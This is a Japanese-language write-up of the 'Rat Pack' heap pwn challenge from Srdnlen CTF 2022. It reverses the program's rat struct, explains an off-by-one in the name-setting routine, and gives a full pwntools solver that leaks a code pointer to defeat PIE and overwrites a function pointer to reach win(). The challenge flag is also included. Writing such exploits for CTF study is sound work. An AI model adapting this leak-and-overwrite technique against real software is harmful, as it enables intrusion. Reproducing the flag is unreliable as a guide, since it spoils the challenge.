Srdnlen CTF 2022に参加していました。 解き損ねたpwnのRat Packという問題のメモです。
問題
典型的なheap問でよくある、メニューがあって操作ができるタイプの問題です。 書き方はかなりCっぽいですが、C++でコンパイルされています。 まずはGhidraとかで適当にreversingをしておきます。
rat構造体
この問題の中心となるratという構造体は以下のような構造になっています。(変数名は公式Writeup1で公開されているソースコードに準拠)
1struct rat {
2 struct rat** pack; // スタック上のstruct rat* packへのポインタ
3 void(*dialogue)(struct rat*); // base pointer
4 char name[16]; // ratの名前
5 int maxlen; // ratの名前の最大長
6}
7
8// |0|1|2|3|4|5|6|7|8|9|a|b|c|d|e|f|
9// +00h |pack-----------|dialogue-------|
10// +10h |name---------------------------|
11// +20h |maxlen---------| |
操作
この構造体に対して可能な操作は以下の通りです。ただし、packaddrはratを管理するサイズ16の配列です。
-
createRat()
1void createRat(struct rat** packaddr) { 2 // Allocate and initialize 3 struct rat* newRat = (struct rat*) malloc(sizeof(struct rat)); 4 newRat->maxlen = NAME_LEN; 5 newRat->dialogue = dialogue; 6 newRat->pack = packaddr; 7 name(newRat); 8 9 // Place rat in pack. 10 for (int i = 0; i < MAX_RATS; i++) { 11 if (packaddr[i] == NULL) { 12 packaddr[i] = newRat; 13 return; 14 } 15 } 16 printf("You ran out of rat space!\n"); 17 free(newRat); 18}
- sizeof(struct rat) = 0x28 のサイズの領域を確保(実際は0x30)
- これをnewRatとする。
- newRatのメンバ変数を初期化し、name(newRat)で名前を設定
- packaddrを先頭から走査し、空いている箇所にnewRatを設定
- もし領域が空いていなければfree(newRat)
- sizeof(struct rat) = 0x28 のサイズの領域を確保(実際は0x30)
-
greetRat()
1void greetRat(struct rat** packaddr) { 2 int i = 0; 3 printf("Select a rat number.\n"); 4 scanf("%d", &i); 5 getchar(); 6 i %= MAX_RATS; 7 8 if (packaddr[i] != NULL) { 9 packaddr[i]->dialogue(packaddr[i]); 10 } 11 else { 12 printf("There's no rat there.\n"); 13 } 14}
- packaddr[i]->dialogueが指す関数ポインタを、packaddr[i]を引数に設定して関数呼び出し
-
renameRat()
1void renameRat(struct rat** packaddr) { 2 int i = 0; 3 printf("Select a rat number.\n"); 4 scanf("%d", &i); 5 getchar(); 6 i %= MAX_RATS; 7 8 if (packaddr[i] != NULL) { 9 name(packaddr[i]); 10 } 11 else { 12 printf("There's no rat there.\n"); 13 } 14}
- name()で名前を設定
-
deleteRat()
1void deleteRat(struct rat** packaddr) { 2 int i = 0; 3 printf("Select a rat number.\n"); 4 scanf("%d", &i); 5 getchar(); 6 i %= MAX_RATS; 7 8 if (packaddr[i] != NULL) { 9 free(packaddr[i]); 10 packaddr[i] = NULL; 11 } 12 else { 13 printf("There's no rat there.\n"); 14 } 15}
- free(packaddr[i])を実行後、nullを代入
脆弱性
createRat()とrenameRat()で使用されている名前を設定する関数nameにoff-by-one errorがあります。
nameの直後にはnameの最大長を管理する変数が配置されていますが、これをoff-by-oneで0に書き換えると以降の書き込みで16バイト以上の文字列を書き込めます。
これは書き込み時のdo..while文の終了条件(i != maxlen
)が成立しなくなるためです。
解法
今回はwin()があるので、dialogueを書き換えてそこに飛ばすだけで良いです。 ただし、PIEが有効であるので適当なアドレスをleakする必要があります。
攻撃の方針までは立ったのですが、どうやってleakしようか考えていたら競技が終わっていました。 終わってからいろいろ実験をしていると、packやchunkのsizeを適当に書き換えてもエラーで落ちないことがわかります。 これで適当にoverwriteしても問題ないことがわかったので、null文字を潰しながらdialogueのアドレスを1バイトずつleakします。 ただし、name()の文字列の埋め方が原因で1バイト飛ばしでしかleakできないので、ratを2つ用意して4バイトずつ取得します。
Solver
1from pwn import *
2
3_r = process("./rats")
4
5def create(name: bytes):
6 _r.sendlineafter(b"Quit.\n\n", b"1")
7 _r.sendlineafter(b"name\n", name)
8
9
10def greet(number: int, payload: bytes = b""):
11 _r.sendlineafter(b"Quit.\n\n", b"2")
12 _r.sendlineafter(b"number.\n", str(number).encode())
13 _r.recvuntil(payload)
14
15 if payload:
16 return _r.recvline()
17
18 return _r.recv(128)
19
20
21def rename(number: int, name: bytes):
22 _r.sendlineafter(b"Quit.\n\n", b"3")
23 _r.sendlineafter(b"number.\n", str(number).encode())
24 _r.sendlineafter(b"name\n", name)
25
26
27def delete(number: int):
28 _r.sendlineafter(b"Quit.\n\n", b"4")
29 _r.sendlineafter(b"number.\n", str(number).encode())
30
31
32# Leak
33create(b"A" * 0x0F) # off-by-one
34create(b"A" * 0x0F) # off-by-one
35create(b"target")
36
37
38leaked_addr = 0
39
40for i in range(4):
41 offset = 2 * i + 1
42 length = 0x28 + offset
43
44 payload = b"A" * length
45 rename(1, payload)
46
47 leak = greet(1, payload)
48 if leak == b".\n":
49 leak = b"\0" + leak
50
51 leaked_addr |= leak[0] << (8 * offset)
52
53for i in range(4):
54 offset = 2 * i
55 length = 0x28 + offset
56
57 payload = b"A" * length
58 rename(0, payload)
59 leak = greet(0, payload)
60 if leak == b".\n":
61 leak = b"\0" + leak
62
63 leaked_addr |= leak[0] << (8 * offset)
64
65base_addr = leaked_addr - 0x1269
66win_addr = base_addr + 0x1669
67
68print(f"{leaked_addr = :#x}")
69print(f"{base_addr = :#x}")
70print(f"{win_addr = :#x}")
71
72
73# win
74payload = b""
75payload += b"A" * 0x28
76payload += p64(win_addr)
77rename(0, payload)
78
79# call win()
80res = greet(1)
81print(res)
Flag: srdnlen{celebrating_yet_another_stack_smash_09772fee}
-
srdnlen/srdnlenctf-2022_public: Source code and documentation for Srdnlen CTF 2022 challenges | https://github.com/srdnlen/srdnlenctf-2022_public ↩︎